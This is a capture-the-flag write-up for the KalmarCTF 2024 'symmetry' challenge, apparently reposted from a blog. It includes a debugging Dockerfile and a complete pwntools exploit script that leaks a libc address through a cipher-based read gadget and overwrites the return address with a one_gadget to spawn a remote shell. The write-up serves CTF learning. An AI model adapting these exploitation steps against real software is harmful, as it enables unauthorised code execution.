Rating:

For the full experience with images see the original blog post! (It contains all stages.)

Now, funny enough I already built a write gadget for the second challenge. For this one, I simply cleaned up the code a lot and fixed a few bugs where I accidentally overwrote stuff (because I didn't send null bytes in plaintext bytes I didn't specifically need). For testing, we used a Dockerfile of another challenge that Ordoviz hijacked for this challenge and I inserted some debugging:

FROM ubuntu:22.04@sha256:f9d633ff6640178c2d0525017174a688e2c1aef28f0a0130b26bd5554491f0da

RUN apt update && apt install -y socat
RUN apt-get -y install gdbserver

RUN mkdir /app
RUN useradd ctf

COPY challenge /app/challenge

USER ctf

EXPOSE 1337

# CMD socat tcp-l:1337,reuseaddr,fork exec:/app/challenge,pty,echo=0,raw,iexten=0
CMD [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:'gdbserver 0.0.0.0:1234 /app/challenge',pty,echo=0,raw,iexten=0" ]

The provided binary had some magic gadgets we found with one_gadget. When using a key of 'a'*16 we found a stable setup with the required registers pointing to the zero buffer on the stack after the flag. With that, we spawned a shell on the remote and got the final flag:

shell on remote with cat flag

from dataclasses import dataclass
import pwn

from decrypt import PERMUTATION, decrypt_block, from_nibbles, to_nibbles


@dataclass
class Block:
    key: str  # hex string
    shifts: list[int]
    plaintext: bytes


PERMUTATION_LOOKUP = [0] * 16
for i in range(16):
    PERMUTATION_LOOKUP[PERMUTATION[i]] = i


PATH = "./challenge_patched"
RETURN_OFFSET = 0x58
SHIFTS_OFFSET = 0x10
LIBC_LEAK = 0x28 - SHIFTS_OFFSET
LEAK_OFFSET = 0x62142


binary = pwn.ELF(PATH)


# Currently 8 bytes only, max offset 127
def build_payload(payload: bytes, offset: int):
    assert len(payload) == 8
    assert offset <= 127

    shifts = [0] * 16
    shifts[0] = offset * 2

    out = [0] * 16
    payload_nibbles = to_nibbles(payload)
    for i in range(16):
        out[i] = payload_nibbles[PERMUTATION_LOOKUP[i]]

    real_payload = from_nibbles(out)

    return Block("a" * 16, shifts, real_payload)


def send_block(conn: pwn.tube, block: Block):
    conn.recvuntil(b"Please provide a key for block ")
    conn.recvuntil(b": ")
    conn.sendline(block.key.encode())
    for pos in range(16):
        conn.recvuntil(b": ")
        conn.sendline(hex(block.shifts[pos])[2:].encode())
    conn.recvuntil(b"Please provide plaintext for block")
    conn.recvuntil(b": ")
    conn.sendline(block.plaintext.hex().encode())


def unscramble(upper, lower):
    if upper >= lower:
        return (upper - lower) << 4 | lower & 0xF
    else:
        return (0x10 + upper - lower) << 4 | lower & 0xF


def reconstruct_data(read_data: bytes, key: str):
    shifts = [0] * 15
    dec = decrypt_block(to_nibbles(bytes.fromhex(key)), shifts, to_nibbles(read_data))

    fixed_data = bytes(
        [unscramble(dec[-2], dec[-1])]
    )

    return fixed_data


def read_byte(conn: pwn.tube, offset: int):
    conn.recvuntil(b"Number of blocks: ")
    conn.sendline(b"1")

    block = build_payload((offset).to_bytes(1) + b"\x00"*7, SHIFTS_OFFSET)
    block.key = "0"*16
    send_block(conn, block)

    conn.recvuntil(b"Block 0: ")
    read_leak = conn.recvline()[:-1].decode()
    # print("leak:", read_leak)
    return reconstruct_data(bytes.fromhex(read_leak), block.key)[0]


def read_bytes(conn: pwn.tube, offsets: list[int]):
    data = []
    for off in offsets:
        data.append(read_byte(conn, off))

    return bytes(data)[::-1]


def create_conn():
    if pwn.args.GDB:
        conn = pwn.gdb.debug(PATH, aslr=True)
    elif pwn.args.REMOTE:
        conn = pwn.remote("chal-kalmarc.tf", 8)
    elif pwn.args.DOCKER:
        conn = pwn.remote("localhost", 1337)
    else:
        conn = pwn.process(PATH)
    return conn


def main():
    with create_conn() as conn:
        OFFSET = 0x80

        print(read_byte(conn, LIBC_LEAK+1))
        leak = read_bytes(conn, [(LIBC_LEAK + o) for o in range(8)])
        print(leak.hex())
        libc_base = int.from_bytes(leak, 'big') - LEAK_OFFSET
        print(hex(libc_base))

        input()

        conn.recvuntil(b"Number of blocks: ")
        conn.sendline(b"1")
        block = build_payload((libc_base+0xebc85).to_bytes(8, 'little'), RETURN_OFFSET)
        block.key = "a" * 16
        send_block(conn, block)

        conn.interactive()
    pass


if __name__ == "__main__":
    main()

Final words

The challenge provided a lot of opportunities I didn't use. For example, you could of course send more than one block at a time to easily expand both read and write. Then, you could read all at once, set up ROP easily and so on. That's what I like about this challenge: It provides a lot of room for creative solutions. Try out your own ideas!

Original writeup (https://ik0ri4n.de/kalmarctf-24-symmetry/).